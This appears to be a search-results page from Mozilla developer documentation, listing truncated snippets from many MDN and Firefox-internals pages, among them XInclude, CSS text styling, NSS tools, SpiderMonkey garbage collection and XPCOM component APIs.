... example | return a function javascript function sayhello() { return function() { console.log("hello!"); } } in this example; we need to return a function from another function - we can return a function because we treated function in javascript as a value.
...And 2 more matches
XInclude - MDN Web Docs Glossary: Definitions of Web-related terms
www.w3.org/2001/xinclude', 'include'); if (xincludes) { for (i=0; i < xincludes.length; i++) { var xinclude = xincludes[i]; var href = xinclude.getattribute('href'); var parse = xinclude.getattribute('parse'); var xpointer = xinclude.getattribute('xpointer'); var encoding = xinclude.getattribute('encoding'); // e.g., utf-8 // "text/xml or application/xml or matches text/*+xml or application/*+xml" before encoding (then utf-8) var accept = xinclude.getattribute('accept'); // header "accept: "+x var acceptlanguage = xinclude.getattribute('accept-language'); // "accept-language: "+x var xifallback = xinclude.getelementsbytagnamens('http://www.w3.org/2001/xinclude', 'fallback')[0]; // onl...
...y one such child is allowed if (href === '' || href === null) { // points to same document if empty (null is equivalent to empty string) href = null; // set for uniformity in testing below if (parse === 'xml' && xpointer === null) { alert('there must be an xpointer attribute present if "href" is empty an parse is "xml"'); return false; } } else if (href.match(/#$/, '') || href.match(/^#/, '')) { alert('fragment identifiers are disallowed in an xinclude "href" attribute'); return false; } var j; var xincludeparent = xinclude.parentnode; try { netscape.security.privilegemanage...
...eptlanguage) { request.setrequestheader('accept-language', acceptlanguage); } switch (parse) { case 'text': // priority should be on media type: var contenttype = request.getresponseheader('content-type'); //text/xml; charset="utf-8" // send to get headers first?
...And 2 more matches
Styling tables - Learn web development
the markup looks like so: <table> <caption>a summary of the uk's most famous punk bands</caption> <thead> <tr> <th scope="col">band</th> <th scope="col">year formed</th> <th scope="col">no.
... of albums</th> <th scope="col">most famous song</th> </tr> </thead> <tbody> <tr> <th scope="row">buzzcocks</th> <td>1976</td> <td>9</td> <td>ever fallen in love (with someone you shouldn't've)</td> </tr> <tr> <th scope="row">the clash</th> <td>1976</td> <td>6</td> <td>london calling</td> </tr> ...
... some rows removed for brevity <tr> <th scope="row">the stranglers</th> <td>1974</td> <td>17</td> <td>no more heroes</td> </tr> </tbody> <tfoot> <tr> <th scope="row" colspan="2">total albums</th> <td colspan="2">77</td> </tr> </tfoot> </table> the table is nicely marked up, easily styleable, and accessible, thanks to features such as scope, <caption>, <thead>, <tbody>, etc.
...And 2 more matches
Fundamental text and font styling - Learn web development
p { font-family: "trebuchet ms", verdana, sans-serif; } in such a case, the browser starts at the beginning of the list and looks to see if that font is available on the machine.
... note: font names that have more than one word — like trebuchet ms — need to be surrounded by quotes, for example "trebuchet ms".
... playable code <div class="body-wrapper" style="font-family: 'open sans light',helvetica,arial,sans-serif;"> <h2>html input</h2> <textarea id="code" class="html-input" style="width: 90%;height: 10em;padding: 10px;border: 1px solid #0095dd;"> <p>some sample text for your delight</p> </textarea> <h2>css input</h2> <textarea id="code" class="css-input" style="width: 90%;height: 10em;padding: 10px;border: 1px solid #...
...And 2 more matches
Web fonts - Learn web development
this takes one or more font family names, and the browser travels down the list until it finds a font it has available on the system it is running on: p { font-family: helvetica, "trebuchet ms", verdana, sans-serif; } this system works well, but traditionally web developers' font choices were limited.
...the syntax required looks something like this: first of all, you have a @font-face block at the start of the css, which specifies the font file(s) to download: @font-face { font-family: "myfont"; src: url("myfont.woff"); } below this you can then use the font family name specified inside @font-face to apply your custom font to anything you like, as normal: html { font-family: "myfont", "bitstream vera serif", serif; } the syntax does get a bit more complex than this; we'll go into more detail below.
... note: under the "find fonts" section in the right-hand column, you can click on the different tags and classifications to filter the displayed choices.
...And 2 more matches
How can we design for all types of users? - Learn web development
modern browsers get around this rule by pretending that you're asking for "16 pixels when the user sets a zoom factor of 100%".
...it is said that "em" is the width of a capital “m” in the alphabet (roughly speaking, an “m” fits into a square).
... here is the html we're using: <!doctype html> <html lang="en"> <head> <meta charset="utf-8"> <title>font size experiment</title> </head> <body> <h1>this is our main heading <span class="subheading">this is our subheading</span> </h1> </body> </html> a percent-based css will look like this: body { font-size:100%; } /* 100% of the browser's base font size, so in most cases this will render as 16 pixels */ h1 { font-size:200%; } ...
...And 2 more matches
Test your skills: Other controls - Learn web development
other controls 1 in our first "other controls" assessment, we'll get you to create a multi-line text input.
... associate it semantically with the provided "comment" label.
... associate it semantically with the provided "comment" label.
...And 2 more matches
JavaScript basics - Learn web development
javascript ("js" for short) is a full-fledged dynamic programming language that can add interactivity to a website.
... in your index.html file, enter this code on a new line, just before the closing </body> tag: <script src="scripts/main.js"></script> this is doing the same job as the <link> element for css.
... !, !== for "not", the basic expression is true, but the comparison returns false because we negate it: let myvariable = 3; !(myvariable === 3); "does-not-equal" gives basically the same result with different syntax.
...And 2 more matches
Storing the information you need — Variables - Learn web development
the difference between var and let at this point you may be thinking "why do we need two keywords for defining variables??
... why have var and let?".
... a safe convention to stick to is so-called "lower camel case", where you stick together multiple words, using lower case for the whole first word and then capitalize subsequent words.
...And 2 more matches
Learning area release notes - Learn web development
our web forms learning module now has "test your skills" assessments accompanying the articles.
... march 2020 you'll now find "test your skills" assessments accompanying the articles in the following modules: css building blocks javascript first steps javascript building blocks introducing javascript objects january 2020 the html forms module has been significantly updated: it has been retitled web forms, and moved out of the html topic area to recognise that it covers more than just html form elements — it also covers styling, validation, the basics of how to send data and process it on the server, and mor...
... more "test your skills" sections have been added.
...And 2 more matches
Properly configuring server MIME types - Learn web development
examples of mime types are: text/html for normal web pages text/plain for plain text text/css for cascading style sheets text/javascript for scripts application/octet-stream meaning "download this file" application/x-java-applet for java applets application/pdf for pdf documents technical background registered values for mime types are available in iana | mime media types.
... according to the standards, a meta tag that gives the mime type such as <meta http-equiv="content-type" content="text/html"> should be ignored if there's a content-type line in the header.
... for perl cgi, you should have the line print "content-type: text/html\n\n"; before any other output lines.
...And 2 more matches
Ember interactivity: Events, classes and state - Learn web development
as you may expect from dealing with vanilla javascript objects, the this keyword refers to the "context" or "scope" of the component.
...the @action decorator declares that the function is an "action", meaning it's a type of function that will be invoked from an event that occurred in the template.
...using the ember inspector however, we can see that our todo was added: displaying our todos now that we know that we can create todos, there needs to be a way to swap out our static "buy movie tickets" todos with the todos we're actually creating.
...And 2 more matches
Deployment and next steps - Learn web development
in the file package.json you can see that the dev and start scripts are just calling rollup: "scripts": { "build": "rollup -c", "dev": "rollup -c -w", "start": "sirv public" }, in the dev script we are passing the -w argument, which tells rollup to watch files and rebuild on changes.
... once it has finished deploying, go to the "production" url in your browser, and you'll see the app deployed!
...give you new project a short, easy name like "mdn-svelte-todo".
...And 2 more matches
Chrome Worker Modules
you only need to do it once for each worker, from within the chrome worker itself: importscripts("resource://gre/modules/workers/require.js"); note: although you only need to do this once for each worker, it doesn't hurt if you do it more than once.
... this defines a global value require(), that you may now use as follows: // import the module // (here, we import the core of os.file) let core = require("resource://gre/modules/osfile/osfile_shared_allthreads.jsm"); // we may now use module core.
...to make the value public, you just have to add it to either global value exports, as follows: /* file mymodule.js */ let secretkey = "this is a secret"; let publickey = "this is public"; exports.key = publickey; // secretkey is not exported // publickey is exported with name "key" alternatively, if you prefer that style, you may write // variable |module| is a special global introduced by require() module.exports = { key: publickey }; once this is done, we may load the module and use the values that have been exported /...
...And 2 more matches
Creating MozSearch plugins
the following xml is the bundled firefox 2 search plugin for searching using yahoo!: <searchplugin xmlns="http://www.mozilla.org/2006/browser/search/"> <shortname>yahoo</shortname> <description>yahoo search</description> <inputencoding>utf-8</inputencoding> <image width="16" height="16">data:image/x-icon;base64,r0lgodlheaaqajecap8aaaaaap///waaach5baeaaaialaaaaaaqabaaaaipli+py+0nogquybdened2khkffwuamezmpzsfmaihphrrguum/ft+uwaaow==</image> <url type="application/x-suggestions+json" method="get" tem...
...plate="http://ff.search.yahoo.com/gossip?output=fxjson&amp;command={searchterms}" /> <url type="text/html" method="get" template="http://search.yahoo.com/search"> <param name="p" value="{searchterms}"/> <param name="ei" value="utf-8"/> <mozparam name="fr" condition="pref" pref="yahoo-fr" /> </url> <searchform>http://search.yahoo.com/</searchform> </searchplugin> let's say the user chooses to use the yahoo!
... search engine plugin and enters "mozilla" in the search box and presses the enter key.
...And 2 more matches
Creating a Login Manager storage module
const cc = components.classes; const ci = components.interfaces; components.utils.import("resource://gre/modules/xpcomutils.jsm"); function sampleloginmanagerstorage() {} sampleloginmanagerstorage.prototype = { classdescription: "sample nsiloginmanagerstorage implementation", contractid: "@example.com/login-manager/storage/sample;1", classid: components.id("{364a118c-747a-4f6d-ac63-2d2998e5a5c1}"), queryinterface: xpcomutils.generateqi([ci.nsiloginmanagerstorage]), // this ...
...registers the category for overriding the built-in nsiloginmanagerstorage _xpcom_categories: [ { category: "login-manager-storage", entry: "nsiloginmanagerstorage" } ], // console logging service, used for debugging.
... __logservice : null, get _logservice() { if (!this.__logservice) this.__logservice = cc["@mozilla.org/consoleservice;1"].
...And 2 more matches
Capturing a minidump
next, open the "file" menu and choose "open executable...".
... next, open the "file" menu and choose "attach to a process...".
... you should now see a "command" text window with debug output at the top and an input box at the bottom.
...And 2 more matches
Configuring Build Options
build options, including options not usable from the command-line, may appear in "confvars.sh" files in the source tree.
... create a blank mozconfig file: echo "# my first mozilla config" > mozconfig if your mozconfig isn't in your source directory, you can also use the mozconfig environment variable to specify the path to your mozconfig.
... mk_add_options moz_make_flags="-j4" if your machine is overheating, you might want to try a lower value, e.g.
...And 2 more matches
The Firefox codebase: CSS Guidelines
the reason you should avoid such "hardcoded" values is that, they don't necessarily work for all font-size configurations.
... other tips assume ="true" in attribute selectors.
... example: use option[checked], not option[checked="true"].
...And 2 more matches
PBackground
ipdl recap ipdl is a language used to define "protocols" — essentially formalized versions of how two things can communicate.
...ipdl protocols are used to specify how the chrome and content processes talk to each other and verify that a content process is "following the rules".
...all actors in a tree "live" on the same thread, and can only be used safely from that thread.
...And 2 more matches
JavaScript-DOM Prototypes in Mozilla
as an example: function bar() { alert("hello world!"); } document.images[0].__proto__.foo = bar; this would make every image in this document have a callable foo property (i.e.
...but this is not good enough, in addition to being able to share and represent each "class" with a constructor, we also want users to be able to extend interfaces, like node.
...during startup, the nsdomclassinfo code registers two different types of "global names", these are names of properties of the global object with special meaning to the dom code.
...And 2 more matches
Dict.jsm
to use it, you first need to import the code module into your javascript scope: components.utils.import("resource://gre/modules/dict.jsm"); creating a dictionary you can create a new, empty dictionary by simply calling the dict() constructor: var newdict = new dict(); if you wish, you may also pass in an object literal of key/value pairs with which to initialize the dictionary: var someobj = {}; var newdict = new dict({key1: "foo", key2: someobj}); note that values may be any javascript object type.
... in firefox 19 and above, you may also pass a json string to initialize the dictionary: var somejson = '{key1: "foo", key2: {}}'; var newdict = new dict(somejson); note: any string you pass will be assumed to be json.
...this will be "{}" for an empty dictionary.
...And 2 more matches
JNI.jsm
to use it, you first need to import the code module into your javascript scope: components.utils.import("resource://gre/modules/jni.jsm"); this module was available in firefox since version 17.
...see the section "working with arrays" to see how this is used to create typed arrays.
...so for geckoappshell we would pass here "org/mozilla/gecko/geckoappshell" and for geckointerface we would use "org/mozilla/gecko/geckoappshell$geckointerface".
...And 2 more matches
Localizing with Mercurial
note the dot (".") at the end of the second command, which means the current directory.
... if the utility modified your %path% successfully, a dialog will open saying, "%path% has been updated correctly." alternatively, you can edit the %path% variable manually.
... to create a new patch, run hg qnew -m "your commit message" patch-name.patch.
...And 2 more matches
Memory reporting
making measurements nsimemoryreporter provides the high-level interface for a memory reporter, but the heart of a memory reporter is the measurement of the "amount".
... they provide more information to dmd, which is a tool that helps keep about:memory's "heap-unclassified" number low.
... on platforms that allow it, they count the actual memory in use, including "slop" bytes caused by the heap allocator rounding up request sizes (a.k.a.
...And 2 more matches
Power profiling overview
the most notable example of a hybrid proxy measurement is the "energy impact" used by os x's activity monitor.
..."high" can most easily be gauged by comparing against other browsers.
...avoid lower-quality measurements, especially activity monitor's "energy impact".
...And 2 more matches
Profiling with Instruments
official apple documentation instruments user guide instruments user reference instruments help articles instruments help performance overview basic usage select "time profiler" from the "choose a profiling template for:" dialog.
... in the top left, next to the record and pause button, there will be a "[machine name] > all processes".
... click "all processes" and select "firefox" from the "running applications" section.
...And 2 more matches
Refcount tracing and balancing
note that setting xpcom_mem_log_classes will also list the serial number of each object that leaked in the "bloat log" (that is, the file specified by the xpcom_mem_bloat_log variable; see the bloatview documentation for more details).
...but, more specifically, it shows you that: ns_newfoo() "leaks" a refcount.
... this is probably "okay" because it's a factory method that creates an addref()-ed object.
...And 2 more matches
Preferences system
reference information about them is available below: preferences system documentation: introduction: getting started | examples | troubleshooting reference: prefwindow | prefpane | preferences | preference | xul attributes use code for a typical preferences window may look like this: <prefwindow id="apppreferences" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <prefpane id="pane1" label="&pane1.title;"> <preferences> <preference id="pref1" name="pref.name" type="bool"/> </preferences> ..
... ui elements that refer to the preferences above, e.g.: <checkbox id="check1" preference="pref1" label="&check1.label;" accesskey="&check1.accesskey;"/> </prefpane> <prefpane id="pane2" label="&pane2.title;" src="chrome://uri/to/pane.xul"/> </prefwindow> pane content can be specified inline or an external chrome uri supplied for pane content to be loaded in via a dynamic overlay.
...usage in xulrunner applications when calling opendialog() to open a preferences dialog, "toolbar" should be included in the features string.
...And 2 more matches
Patches and pushes
<searchplugin xmlns="http://www.mozilla.org/2006/browser/search/"> <shortname>yahoo</shortname> <description>yahoo search</description> <inputencoding>utf-8</inputencoding> <image width="16" height="16">data:image/x-icon;base64,r0lgodlheaaqajecap8aaaaaap///waaach5baeaaaialaaaaaaqabaaaaipli+py+0nogquybdened2khkffwuamezmpzsfmaihphrrguum/ft+uwaaow==</image> ***this tag is optional***<url type="application/x-suggestions+j...
...son" method="get" template="http://ff.search.yahoo.com/gossip?output=fxjson&amp;command={searchterms}" />*** <url type="text/html" method="get" template="http://search.yahoo.com/search"> <param name="p" value="{searchterms}"/> <param name="ei" value="utf-8"/> <mozparam name="fr" condition="pref" pref="yahoo-fr" /> </url> <searchform>http://search.yahoo.com/</searchform> </searchplugin> create xml files for each search plugin preference following the above example.
... create a patch of the searchplugins directory by entering the following command in your command-line tool, where mypatch.diff is where you give your patch a name: $ hg add mozilla/browser/searchplugins/ $ hg diff mozilla/browser/searchplugins/ > mypatch.diff attach your patch file to the bug by clicking the "add an attachment" link.
...And 2 more matches
NSPR build instructions
nspr build generates a "winnt" configuration by default on windows for historical reasons.
... we recommend most applications use the "win95" configuration.
... the "win95" configuration supports all versions of windows.
...And 2 more matches
PR_ReadDir
skip the directory entry "." representing the current directory.
...skip the directory entry ".." representing the parent directory.
...skip both "." and ".." pr_skip_hidden.
...And 2 more matches
Build instructions for JSS 4.3.x
unix setenv java_home /usr/local/jdk1.5.0 (or wherever your jdk is installed) windows set java_home=c:\programs\jdk1.5.0 (or wherever your jdk is installed) windows (cygnus) java_home=/cygdrive/c/programs/jdk1.5.0 (or wherever your jdk is installed) export java_home windows build configurations winnt vs win95 as of nss 3.15.4, nspr/nss/jss build generates a "win95" configuration by default on windows.
... we recommend most applications use the "win95" configuration.
...(see jss faq) the "win95" configuration supports all versions of windows.
...And 2 more matches
NSS 3.54 release notes
bug 1645186 - add "certsign root ca g2" root certificate.
... bug 1645174 - add microsec's "e-szigno root ca 2017" root certificate.
... bug 1621151 - disable email trust bit for "o=government root certification authority; c=tw" root.
...And 2 more matches
NSS Sample Code sample6
* (enter "test" when prompted for password) */ #include "nss.h" #include "pk11pub.h" /* the key id can be any sequence of bytes.
... */ rv = nss_initreadwrite("."); if (rv != secsuccess) { fprintf(stderr, "nss initialization failed (err %d)\n", pr_geterror()); exit(1); } /* generate a key with id 1.
... */ if (slot == null) { fprintf(stderr, "unable to find security device (err %d)\n", pr_geterror()); return; } keyid[0] = id; keyiditem.type = sibuffer; keyiditem.data = (void *)keyid; keyiditem.len = sizeof(keyid[0]); /* note: keysize must be 0 for fixed key-length algorithms like des.
...And 2 more matches
NSS sources building testing
in past versions, all files were located in a directory hierarchy that started with the "mozilla" prefix.
...exported header files for nss applications can be found in directory "include", library files in directory "lib", and the tools in directory "bin".
... in order to run the tools, you should set your system environment to use the libraries of your build from the "lib" directory, e.g., using the ld_library_path or dyld_library_path environment variable.
...And 2 more matches
nss tech note7
data types nss uses the following data types to represent keys: seckeypublickey: a public key, defined in "keythi.h".
... seckeyprivatekey: a private key, defined in "keythi.h".
... pk11symkey: a symmetric key (often called a session key), defined in "secmodt.h".
...And 2 more matches
PKCS #11 Module Specs
the value is considered quoted if the first character after the '=' is ', ", {, [, or <.
... if the value is quoted, then the value is terminated with and ending quote of the form ', ", ), ], }, or > matching the respective starting quote.
... nss="nss_params" nss_params are themselves name/value pairs, parsed with the same rules described above.
...And 2 more matches
NSS PKCS11 Functions
this was converted from "chapter 7: pkcs #11 functions".
...syntax #include "secmod.h" extern secmodmodule *secmod_loadusermodule(char *modulespec, secmodmodule *parent, prbool recurse); parameters this function has the following parameters: modulespec is a pkcs #11 modulespec.
...syntax #include "secmod.h" extern secstatus secmod_unloadusermodule(secmodmodule *module); parameters this function has the following parameters: module is the module to be unloaded.
...And 2 more matches
NSS_Initialize
to-do: document the "sql:" prefix.
... certprefix [in] prefix added to the beginning of the certificate database, for example, "https-server1-".
... keyprefix [in] prefix added to the beginning of the key database, for example, "https-server1-".
...And 2 more matches
NSS tools : vfychain
possible values are "leaf" or "chain" -g test type sets status checking test type.
... possible values are "leaf" or "chain".
...possible flags: "testlocalinfofirst" and "requirefreshinfo".
...And 2 more matches
NSS Tools cmsutil
-d dbdir specify the key/certificate database directory (default is ".") -e envfile specify a file containing an enveloped message for a set of recipients to which you would like to send an encrypted message.
... usage cmsutil -c [-i infile] [-o outfile] [-d dbdir] [-p password] -r "recipient1,recipient2, .
...." -e envfile cmsutil -d [-i infile] [-o outfile] [-d dbdir] [-p password] [-c content] [-n] [-h num] cmsutil -e [-i infile] [-o outfile] [-d dbdir] [-p password] -r "recipient1,recipient2, .
...And 2 more matches
NSS Tools pk12util
if no algorithm is specified, the tool defaults to using "pkcs12 v2 pbe with sha1 and 3key triple des-cbc" for private key encryption.
... for historical export control reasons "pkcs12 v2 pbe with sha1 and 40 bit rc4" is the default for the overall package encryption when not in fips mode and no package encryption when in fips mode.
... symmetric cbc ciphers for pkcs #5 v2: "des_cbc" "rc2-cbc" "rc5-cbcpad" "des-ede3-cbc" --- default for key encryption "aes-128-cbc" "aes-192-cbc" "aes-256-cbc" "camellia-128-cbc" "camellia-192-cbc" "camellia-256-cbc" pkcs #12 pbe ciphers: "pkcs #12 pbe with sha1 and 128 bit rc4" "pkcs #12 pbe with sha1 and 40 bit rc4" "pkcs #12 pbe with sha1 and triple des cbc" "pkcs #12 pbe with sha1 and 128 bit rc2 cbc" "pkcs #12 pbe with sha1 and 40 bit rc2 cbc" "pkcs12 v2 pbe with sha1 and 128 bit rc4" "pkcs12 v2 pbe with sha1 and 40 bit rc4" --- default for pfx encryption in non-fips mode, no encryption on fips mode "pkcs12 v2 pbe with sha1 and 3key triple des-cbc" "pkcs12 v2 pbe with sha1...
...And 2 more matches
NSS tools : vfychain
possible values are "leaf" or "chain" -g test type sets status checking test type.
... possible values are "leaf" or "chain".
...possible flags: "testlocalinfofirst" and "requirefreshinfo".
...And 2 more matches
GCIntegration - SpiderMonkey Redirect 1
{{ svg{source: "http://people.mozilla.org/~wmccloskey/incremental1.svg", embedding: "iframe", height:"130"} }} assume object b is already marked, as in the leftmost frame, while objects a and c have not been marked yet.
...spidermonkey uses a simple barrier commonly called a "snapshot at the beginning" barrier.
... a simple way to visualize the invariant is that, when an incremental gc starts, an "initial snapshot" of the heap is taken.
...And 2 more matches
GC Rooting Guide
"gc thing" is the term used to refer to memory allocated and managed by the spidermonkey garbage collector.
...all js::mutablehandle<t>s are created through an explicit "&" - address of operator - on a js::rooted<t> instance.
... static void trace(jstracer* trc, jsobject* obj) { myclass* mine = static_cast<myclass*>(obj->getprivate()); mine->trace(trc, "myclass private field"); } } class myclass { heap<jsstring*> str; public: void trace(jstracer* trc, const char* name) { js::traceedge(trc, &str, "my string"); } } if a pointer to your structure is stored in some other structure, then its trace() method should invoke yours: struct myowningstruct { myclass* mything; void trace(jstracer* trc, const char* name) { ...
...And 2 more matches
Exact Stack Rooting
class fooclass = { "fooprototype", /* name */ jsclass_has_private | jsclass_has_reserved_slots(1), /* flags */ js_propertystub, /* addproperty */ js_propertystub, /* delproperty */ ...
...to that end, we have a special "rooting" mechanism for stack pointers that is very efficiently able to add and remove gcpointers to the rootedset.
...to solve this, we use the standard "handle" approach.
...And 2 more matches
Property cache
throughout this article, phrases such as "own property" should be taken to refer to the low-level representation of properties in scopes and shape chains.
... in the case of shared permanent properties, this differs from the notion of "own property" seen by scripts via object.prototype.hasownproperty.
...in particular shape does not cover the types of property values; typically {a: "x"} and {a: 12} have the same shape.
...And 2 more matches
SpiderMonkey 1.8.5
the approach eliminates the need for the js_enterlocalrootscope api, and in many cases the need to explicitly root gc things or use the "root as you go" approach popular with earlier spidermonkey releases.
... since this is a conservative collector, it will often find "garbage" addresses which can trigger warnings from certain code analysis tools.
... the so-called "slow natives" are no longer supported; as such jsfastnative has been renamed to jsnative and relevant interfaces have been updated accordingly.
...And 2 more matches
SpiderMonkey 1.8.7
the approach eliminates the need for the js_enterlocalrootscope api, and in many cases the need to explicitly root gc things or use the "root as you go" approach popular with earlier spidermonkey releases.
... since this is a conservative collector, it will often find "garbage" addresses which can trigger warnings from certain code analysis tools.
... the so-called "slow natives" are no longer supported; as such jsfastnative has been renamed to jsnative and relevant interfaces have been updated accordingly.
...And 2 more matches
Web Replay
getting started to enable web replay (macos and firefox nightly only), go to devtools settings and select "enable webreplay".
... failed operations currently just produce a placeholder "incomplete" result.
... operations on the debuggee which have side effects — eval("x.f = 3") — should be avoided.
...And 2 more matches
XUL Accessibility
name the following rules to generate accessible name are applied: check aria-labelledby attribute, name is generated from elements pointed by aria-labelledby attribute <description id="descr1">label1</description> <description id="descr2">label2</description> <textbox aria-labelledby="descr1 descr2" /> if the element implements nsidomxullabeledcontrolelement or nsidomxulselectcontrolitemelement interface then it is used label property if the element doesn't implement nsidomxulselectcontrolelement then label attribute is used if neighbour of the element has label element pointi...
... <label value="it's label for control" control="control" /> <hbox role="grouping" id="control" /> get tooltiptext attribute if the element is anonymous child of the element that is the direct child of toolbaritem element or the element is direct child of toolbaritem element then title attribute of toolbaritem element is used (currently it's used in firefox ui only) if the element has aria role and the role allows to aggregate name from subtree of element then generate name from subtree of the element description the following rules to generate accessible description are applied: check aria-describedby attribute, description is generated from elements pointed by aria-descr...
...ibedby attribute <description id="descr1">label1</description> <description id="descr2">label2</description> <textbox aria-describedby="descr1 descr2" /> if neighbour of the element has description element pointing to this element by the control attribute, if the description element is found then use its content.
...And 2 more matches
Feed content access API
rl) { var httprequest = null; function inforeceived() { var data = httprequest.responsetext; var ioservice = components.classes['@mozilla.org/network/io-service;1'] .getservice(components.interfaces.nsiioservice); var uri = ioservice.newuri(feedurl, null, null); if (data.length) { var parser = components.classes["@mozilla.org/feed-processor;1"] .createinstance(components.interfaces.nsifeedprocessor); var listener = new feedtestresultlistener(); try { parser.listener = listener; parser.parsefromstring(data, uri); } catch(e) { alert("error parsing feed."); } } } httprequest = new xmlht...
...tprequest(); httprequest.open("get", feedurl, true); try { httprequest.onload = inforeceived; httprequest.send(null); } catch(e) { alert(e); } } the nsifeedprocessor interface lets you parse the feed data from several possible sources; in this case, we're loading a document into a string, then parsing that string using its parsefromstring() method.
...that code looks like this: feedtestresultlistener.prototype = { handleresult: function(result) { var feed = result.doc; feed.queryinterface(components.interfaces.nsifeed); // open a new window var win = window.open("", "feedtest_window"); var doc = win.document.wrappedjsobject; doc.open(); // write the html header and page title doc.write("<html><head><title>feed: " + feed.title.text + "</title></head><body>"); doc.write("<h1>" + feed.title.text + "</h1><p>"); var itemarray = feed.items; var numitems = itemarray.length; // write the article ...
...And 2 more matches
Using the Places keywords API
using the keywords api the keywords api is a promise-based api available through the placesutils module: components.utils.import("resource://gre/modules/xpcomutils.jsm"); xpcomutils.definelazymodulegetter(this, "placesutils", "resource://gre/modules/placesutils.jsm"); setting a keyword for an url the insert() method accepts a keyword entry object describing the keyword to insert.
... placesutils.keywords.insert({ keyword: "my_keyword", url: "http://www.example.com/" postdata: "post+data=1&test=2" }).then(() => { /* success */ }, e => { /* failure */ }); note that setting an already existing keyword to a different url, will silently update the existing keyword to the new url.
... placesutils.keywords.fetch("my_keyword").then(entry => { /* entry is either null, or a keyword entry */ }, e => { /* failure */}); fetching entries by url the fetch() method also accepts a keyword entry, where it's possible to specify keyword, url, or both.
...And 2 more matches
Using the Places tagging service
initiating the tagging service before using the tagging service, you need to obtain a reference to an instance of it: var taggingsvc = components.classes["@mozilla.org/browser/tagging-service;1"] .getservice(components.interfaces.nsitaggingservice); tagging a uri the nsitaggingservice.taguri() method tags a url with the given set of tags.
... taggingsvc.taguri(uri("http://example.com/"), ["tag 1"]); //first argument = uri //second argument = array of tag(s) where uri() is probably similar to makeuri().
... tagginsvc.untaguri(uri("http://example.com/"), ["tag 1"]); //first argument = uri //second argument = array of tag(s) finding all urls with a given tag the nsitaggingservice.geturisfortag() method returns an array of all urls tagged with the given tag.
...And 2 more matches
extIPreferenceBranch
for example, an extension's preferences has a root of "extensions.extensionid.", while the application-level preferences have an empty root.
... all preference "aname" parameters used in this interface are relative to the root branch.
... events readonly attribute extievents the events object for the preferences supports: "change" methods has() check to see if a preference exists.
...And 2 more matches
Bundling multiple binary components
if the component uses only "frozen" xpcom interfaces, there is a good chance the same binary component will work with different versions of gecko (version 1.8 and 1.9, for example).
... the more likely case is that the component uses "unfrozen" interfaces and those interfaces can change between gecko versions.
...the stub component is an xpcom component itself and when registered by xpcom, the code would sniff the runtime version and operating system then the stub load the appropriate "real" xpcom component for the current configuration.
...And 2 more matches
XPCOM glue
MozillaTechXPCOMGlue
sample compiler/linker flags code compiled using xpcom headers should always #include "xpcom-config.h" from the sdk, to ensure that xpcom #defines are correct.
... linking strategy: dependent glue standalone glue compiler flags: cross-platform #include "xpcom-config.h" #include "xpcom-config.h" #define xpcom_glue windows /fi "xpcom-config.h" linux -include "xpcom-config.h" linker flags: windows for older versions of the firefox sdk: -libpath:c:/path/to/sdk/lib xpcomglue_s.lib xpcom.lib nspr4.lib for recent versions of the firefox sdk (at least version 42, but possibly earlier versions as well): -libpath:c/path/to/sdk/lib xpcomglue_s.lib xul.lib nss3.lib mozcrt.lib -libpath:c:/path/to/sdk/lib xpcomglue.lib mac -l/path/to/sdk/lib -l/path/to/sdk/bin -wl,-executable-path,/path/to/sdk/bin -lxpcomglue_s -lxpcom -lnspr4 w...
... in principle, #include "mozilla-config.h" should also work, if it's the first #include in .cpp, but preprocessor option is how it's usually included.
...And 2 more matches
Components.classes
you should use the in operator to test for the element before trying to access it: if (!("@some/bogus/class;1" in components.classes)) // do something...
... usage in order to retrieve the object for a given contractid, you can query the components.classes array as follows: var clazz0 = components.classes["@mozilla.org/messenger;1"]; clazz0 is the class object for the contractid @mozilla.org/messenger;1, which is not usually used by itself, but whose createinstance and getservice methods can be used to create a new instance of the component or to access the singleton instance, if the contract id represents a service.
... a new xpcom component instance can be created from the returned class object as follows: var obj = components.classes["@mozilla.org/supports-array;1"] .createinstance(components.interfaces.nsisupportsarray); which is a shortcut to var obj = components.classes["@mozilla.org/supports-array;1"] .createinstance(); obj.queryinterface(components.interfaces.nsisupportsarray); if you don't provide a specific interface to createinstance(), it will return an xpconnect wrapper for the component, which only exposes the methods of the nsisupports interface (and under certain circumstances the special wrappedjsobject property).
...And 2 more matches
XPCShell Reference
the command line the command-line syntax for xpcshell is: xpcshell [-s] [-w] [-w] [-v version] [-f scriptfile] [scriptfile] [scriptarg...] -c this option turns on the "compile-only" mode.
... (setting this option disables the "interactive" mode) -f this option specifies a script file to execute.
... -i this option turns on the "interactive" mode -s this option toggles the javascript strict option on and off.
...And 2 more matches
imgIContainer
as a service: var imgicontainer = components.classes["@mozilla.org/????????????????????????????"] .createinstance(components.interfaces.imgicontainer); method overview void addrestoredata([array, size_is(acount), const] in char data, in unsigned long acount); native code only!
... flag_sync_decode 0x1 flag_decode_no_premultiply_alpha 0x2 flag_decode_no_colorspace_conversion 0x4 flag_clamp 0x8 frame_first 0 constants for specifying various "special" frames.
... kdontanimmode 1 klooponceanimmode 2 kdisposeclearall -1 "disposal" method indicates how the image should be handled before the subsequent image is displayed.
...And 2 more matches
mozIStorageAggregateFunction
dbconn.createaggregatefunction("stddev", 1, standarddeviationfunc); // run some query that uses the function.
... let stmt = dbconn.createstatement("select stddev(value) from some_table"); try { while (stmt.executestep()) { // handle the results } } finally { stmt.reset(); } c++ // first, create our class that will represent our function.
...i++) total += mnumbers[i]; print32 mean = total / mnumbers.length(); nstarray<print64> data(mnumbers); for (pruint32 i = 0; i < data.length(); i++) { print32 value = data[i] - mean; data[i] = value * value; } total = 0; for (pruint32 i = 0; i < data.length(); i++) total += data[i]; nscomptr<nsiwritablevariant> result = do_createinstance("@mozilla.org/variant;1"); ns_ensure_true(result, ns_error_out_of_memory); rv = result->setasdouble(sqrt(double(total) / double(data.length()))); ns_ensure_success(rv, rv); ns_addref(*_result = result); return ns_ok; } private: nstarray<print32> mnumbers; }; // now, register our function with the database connection.
...And 2 more matches
mozIStorageConnection
the expression may use "?#" to indicate sequentially numbered parameters (?1, ?2, etc) or ":name" to indicate named parameters.
...the expression may use "?#" to indicate sequentially numbered parameters (?1, ?2, etc) or ":name" to indicate named parameters.
...for example: "foo integer, bar string".
...And 2 more matches
mozITXTToHTMLConv
